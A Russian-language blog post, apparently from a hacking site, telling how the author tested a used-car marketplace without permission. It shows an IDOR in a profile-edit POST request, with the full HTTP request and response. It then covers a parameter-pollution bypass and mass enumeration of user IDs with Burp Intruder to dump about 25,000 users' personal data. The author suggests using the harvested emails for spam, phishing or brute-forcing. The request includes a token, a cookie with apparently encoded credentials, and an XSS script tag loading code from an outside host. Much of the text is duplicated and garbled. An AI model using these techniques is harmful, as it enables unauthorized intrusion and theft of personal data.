Увидел рекламу сайта, который занимается продажей подержанных машин, назовем его example.com, чтобы не портить репутацию ресурса, решил протестировать его на наличие уязвимостей. Обнаружил несколько не критических и одну критическую.
Это iDOR в личном кабинете, в редактировании личных данных. Грубая ошибка, id аккаунта передается в post запросе
Изменяем «id»:59541, срабатывает защита, 403. Подменяем id":59553, нам выдает email адрес, местоположение и имя пользователя, что на id меньше меня. Но данные юзера не изменяются, а выдаются мне. Если бы изменялись — было бы критичнее, мы бы изменили email адреса на всех аккаунтах и взломали их.
Существуют разные методы обхода iDOR, главный — это:
Когда, например, в get или post запросе есть подобные переменные example.com/edit.php?id=1. Мы можем применить Http Parameter Pollution, чтобы обойти защиту idor example.com/edit.php?id=1&id=2. Внимание! В процессе тестирования часто можно увидеть ошибку 403 и подумать, что, например, статья не отредактирована с помощью iDOR, но когда мы зайдем в эту статью, то увидим, что она изменилась. НЕ обязательно должен быть ответ 200. Важно понимать, что если ид идет в виде example.com/edit/1, то hpp мы не сможем применить.
Ответ
Отлично, мы нашли iDOR, можно идти сообщать об уязвимости.
Но многие компании не понимают всей опасности, сразу исправляют уязвимость и доказывают, что она не была опасная.
Поэтому эксплуатируем эту iDOR.
Обычно после того, как находят iDOR, подбирают вручную несколько значений идентификатора, потом репортят уязвимость.
Но не пытаются её «раскрутить» ещё больше.
В этой статье я хочу рассказать о том, как с помощью iDOR в личном кабинете можно получить личные данные всех пользователей ресурса, в том числе админов(нигде не заметил, чтобы об этом писали).
Наш ид 59553, округляем, узнаем, что на ресурсе 60 тысяч пользователей.
Теперь нужна тузла, что массово перебирает запросы и отдает ответ — Burplicensed to Lary_Lau Intruder. Кидаем запрос в интрудер (ctrl+I), выделяем цифры во вкладке Positions, во вкладке Payloads выбираем numbers от 1 до 59552, начинаем атаку.
К сожалению, я перебрал id'ы только до 25 тысяч, остальные не смог, админы удалили мой аккаунт, заблокировали ip адрес и закрыли запрос редактирования личных данных(это радует :) )
Нажимаем save server responses
, получаем файл из 50 МБ данных.
Если нужно — сортируем данные (сохраняем только email адреса для спам/фишинговой рассылки, брутфорсинга аккаунтов) в excel или в текстовом редакторе.
Но для того, чтобы доказать опасность администрации, 50 МБ ответов должно хватить. Пишем IT компании, которая обслуживает example.com:
14 декабря уязвимость исправили, убрали из post запроса переменную id и даже спасибо не сказали. Что по базе данных 25 000 пользователей, которая была слита — не сказали, чтобы я её удалил и не предложили NDA, компании все равно.
Я, конечно, через несколько дней безуспешной переписки с компанией, удалил файл с этой базой, ведь мне не нужны неприятности. А какой-то black hat мог бы не удалить базу и продать её в даркнет.
В этой ситуации виновата не компания-разработчик, а владелец, который не думает о безопасности сайта и экономит на этом.
Очень надеюсь, что этот проект вырастет и устранит свои дыры в безопасности.
Всем удачи в поисках уязвимостей.
Подписывайтесь на твиттер
Итолько что созданную группу vk https://vk.com/qiece, туда буду выкладывать ссылки на новые статьи.
Это iDOR в личном кабинете, в редактировании личных данных. Грубая ошибка, id аккаунта передается в post запросе
POST /api/user/saveUserInfo HTTP/1.1
Host: www.****.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/plain, */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Authorization: eyJhbGffOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHBpcmUiOiIyMDE3LTAzLTEyIDE0OjMxOjI1IiwiZW1haWwiOiJxaWVjghpAZ21haWwuY29tIn0.RtQI9h5O16ZS48LuK6rwJXlc1MCNmY8ai5rMywLeEe8
Content-Type: application/json;charset=utf-8
Content-Length: 1590<anchor>habracut</anchor>
Cookie: django_language=ru; utm_source=f; utm_campaign=red_301; utm_medium=offline; _ga=GA1.2.1196308855.1481541724; _edata="eyJ1c2VybmFtZSI6InFpZWNlekBnbWFpbC5jb20iLCJwYXNzd29yZCI6InF3ZXJ0eXoxIn0:1cGPlN:i5Sse_VzW0Jtu3tltK3iHCBLYuI"
Referer: https://yahoo.com/<source lang="actionscript">"><script src=https://securityz.net/xss.js?></script></script>
Connection: close
{"id":59553,"user":{"id":59541,"email":"ww@example.com","is_staff":false,"date_joined":"2016-12-12T12:20:18.444255Z"},"uuid":"9b921350-5dce-4796-bdcc-ad11039a18d8","email":"ww@example.com","state":{"id":59553,"state_data":{"state":"active","state_title":"????N???????N???","state_date":"2016-12-12T12:30:39.513Z","state_val":true,"state_extra":{}},"created_extra":{},"confirmed_extra":{},"active_extra":{},"blocked_extra":{},"deleted_extra":{},"last_modified":"2016-12-12T12:30:39.514128Z","extra":"{}","created":true,"created_date":"2016-12-12T12:20:18.474992Z","confirmed":true,"confirmed_date":"2016-12-12T12:30:39.480891Z","active":true,"active_date":"2016-12-12T12:30:39.513982Z","blocked":false,"blocked_date":null,"deleted":false,"deleted_date":null},"allowed_regions":[],"info":{"request_source_region":null,"request_type":1,"confirmation_code_mail":null,"confirmation_code_sms":null,"request_allowed_regions":null},"images":{},"is_analyst":false,"is_mp_moderator":false,"is_mp_manager":false,"is_mp_dealer_manager":false,"is_mp_supervisor":false,"source_region":8,"source_region_info":{"id":8,"administrative_area":"Khmel'nyts'ka oblast","administrative_area_auto_ria":"?????µ?»N?????N???","ru_name":"?????µ?»N?????N????°N? ???±?»?°N?N?N?","uk_name":"?????µ?»N?????N?N????° ???±?»?°N?N?N?","slug":"","region":15},"phone":"111","first_name":"ww","last_name":"ww","buyer_type":1,"rating":3,"additional_info":null,"authorized":false,"email_notification":true,"sms_notification":true,"inspect_regions":[],"inspect_code":null,"amount":0,"personal_manager":223,"supervisor":51}
Изменяем «id»:59541, срабатывает защита, 403. Подменяем id":59553, нам выдает email адрес, местоположение и имя пользователя, что на id меньше меня. Но данные юзера не изменяются, а выдаются мне. Если бы изменялись — было бы критичнее, мы бы изменили email адреса на всех аккаунтах и взломали их.
Существуют разные методы обхода iDOR, главный — это:
HTTP Parameter Pollution — это новый вид атак на веб-приложения, основным преимуществом которого является возможность обхода WAF (Web Application Firewall). Концепт HPP был разработан итальянскими исследователями Luca Carettoni и Stefano di Paola и представлен на недавно прошедшей конференции OWASP AppSec EU09 Poland. - https://raz0r.name/articles/http-parameter-pollution/
Когда, например, в get или post запросе есть подобные переменные example.com/edit.php?id=1. Мы можем применить Http Parameter Pollution, чтобы обойти защиту idor example.com/edit.php?id=1&id=2. Внимание! В процессе тестирования часто можно увидеть ошибку 403 и подумать, что, например, статья не отредактирована с помощью iDOR, но когда мы зайдем в эту статью, то увидим, что она изменилась. НЕ обязательно должен быть ответ 200. Важно понимать, что если ид идет в виде example.com/edit/1, то hpp мы не сможем применить.
Ответ
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 12 Dec 2016 11:44:34 GMT
Content-Type: application/json
Connection: close
Vary: Accept-Encoding
Content-Language: ru
Vary: Accept, Cookie, Accept-Language
allow: GET, PUT, PATCH, DELETE, HEAD, OPTIONS
Content-Length: 1568
{"id":59542,"user":{"id":59530,"email":"dimat***@gmail.com","is_staff":false,"date_joined":"2016-12-12T11:32:25.950746Z"},"uuid":"8e8a0ae6-c587-4f44-8e74-e7583f4cdd2e","email":"dimat***@gmail.com","state":{"id":59542,"state_data":{"state":"active","state_title":"Активный","state_date":"2016-12-12T11:34:51.070Z","state_val":true,"state_extra":{}},"created_extra":{},"confirmed_extra":{},"active_extra":{},"blocked_extra":{},"deleted_extra":{},"last_modified":"2016-12-12T11:34:51.070647Z","extra":"{}","created":true,"created_date":"2016-12-12T11:32:25.978469Z","confirmed":true,"confirmed_date":"2016-12-12T11:34:51.024676Z","active":true,"active_date":"2016-12-12T11:34:51.070421Z","blocked":false,"blocked_date":null,"deleted":false,"deleted_date":null},"allowed_regions":[],"info":{"request_source_region":null,"confirmation_code_sms":null,"request_allowed_regions":null,"confirmation_code_mail":null,"request_type":1},"images":{},"is_analyst":false,"is_mp_moderator":false,"is_mp_manager":false,"is_mp_dealer_manager":false,"is_mp_supervisor":false,"source_region":26,"source_region_info":{"id":26,"administrative_area":"Kyivs'ka oblast","administrative_area_auto_ria":"Киев","ru_name":"Киевская область","uk_name":"Київська область","slug":"","region":1},"phone":"**","first_name":"**","last_name":"**??,"buyer_type":1,"rating":3,"additional_info":null,"authorized":false,"email_notification":true,"sms_notification":true,"inspect_regions":[],"inspect_code":null,"amount":0,"personal_manager":223,"supervisor":51}
Отлично, мы нашли iDOR, можно идти сообщать об уязвимости.
Но многие компании не понимают всей опасности, сразу исправляют уязвимость и доказывают, что она не была опасная.
Поэтому эксплуатируем эту iDOR.
Обычно после того, как находят iDOR, подбирают вручную несколько значений идентификатора, потом репортят уязвимость.
Но не пытаются её «раскрутить» ещё больше.
В этой статье я хочу рассказать о том, как с помощью iDOR в личном кабинете можно получить личные данные всех пользователей ресурса, в том числе админов(нигде не заметил, чтобы об этом писали).
Наш ид 59553, округляем, узнаем, что на ресурсе 60 тысяч пользователей.
Теперь нужна тузла, что массово перебирает запросы и отдает ответ — Burp
К сожалению, я перебрал id'ы только до 25 тысяч, остальные не смог, админы удалили мой аккаунт, заблокировали ip адрес и закрыли запрос редактирования личных данных(это радует :) )
Нажимаем save server responses
, получаем файл из 50 МБ данных.
Если нужно — сортируем данные (сохраняем только email адреса для спам/фишинговой рассылки, брутфорсинга аккаунтов) в excel или в текстовом редакторе.
Но для того, чтобы доказать опасность администрации, 50 МБ ответов должно хватить. Пишем IT компании, которая обслуживает example.com:
qiece:13 декабря 2016, 16:24. Добрый день, Сергей. Вчера обнаружил уязвимость insecure dor в редактировании данных в личном кабинете юзера...
qiece: 13 декабря 2016, 16:46. Вам прислать базу в подтверждение? Когда ждать ответ?
Представитель example.com: 13 декабря 2016, 16:48 нет, базу высылать не нужно.
Представитель example.com: 13 декабря 2016, 17:35 Максим, два момента:
1)мне нужно данный вопрос проговорить с владельцем ресурса, какую переодичность 2)«тестирования» Вы видите — от случая к случаю или на регулярной основе? 13 декабря 2016, qiece: 13 декабря 2016, 18:44 На регулярной основе
qiece: 14 декабря Добрый вечер, Сергей. Обсудили сотрудничество с владельцем ресурса???
qiece: 15 декабря ???
qiece: 16 декабря 2016, 12:10 Скажите хотя бы, какой ответ владельца. Ему что, все равно на его сайт?
Представитель example.com: 16 декабря 2016, 12:37 Максим, добрый день. Владелец сайта очень заинтересован в безопасной работе сайта. В ближайшее время он примет решение и я его буду знать.
qiece: 20 декабря 2016, 17:51 Добрый вечер. Когда будет ответ? Игнорирование — это не решение проблемы с дырами в безопасности сайта и взломанной базой данных пользователей.
14 декабря уязвимость исправили, убрали из post запроса переменную id и даже спасибо не сказали. Что по базе данных 25 000 пользователей, которая была слита — не сказали, чтобы я её удалил и не предложили NDA, компании все равно.
Я, конечно, через несколько дней безуспешной переписки с компанией, удалил файл с этой базой, ведь мне не нужны неприятности. А какой-то black hat мог бы не удалить базу и продать её в даркнет.
В этой ситуации виновата не компания-разработчик, а владелец, который не думает о безопасности сайта и экономит на этом.
Очень надеюсь, что этот проект вырастет и устранит свои дыры в безопасности.
Всем удачи в поисках уязвимостей.
Подписывайтесь на твиттер
И
Поделиться с друзьями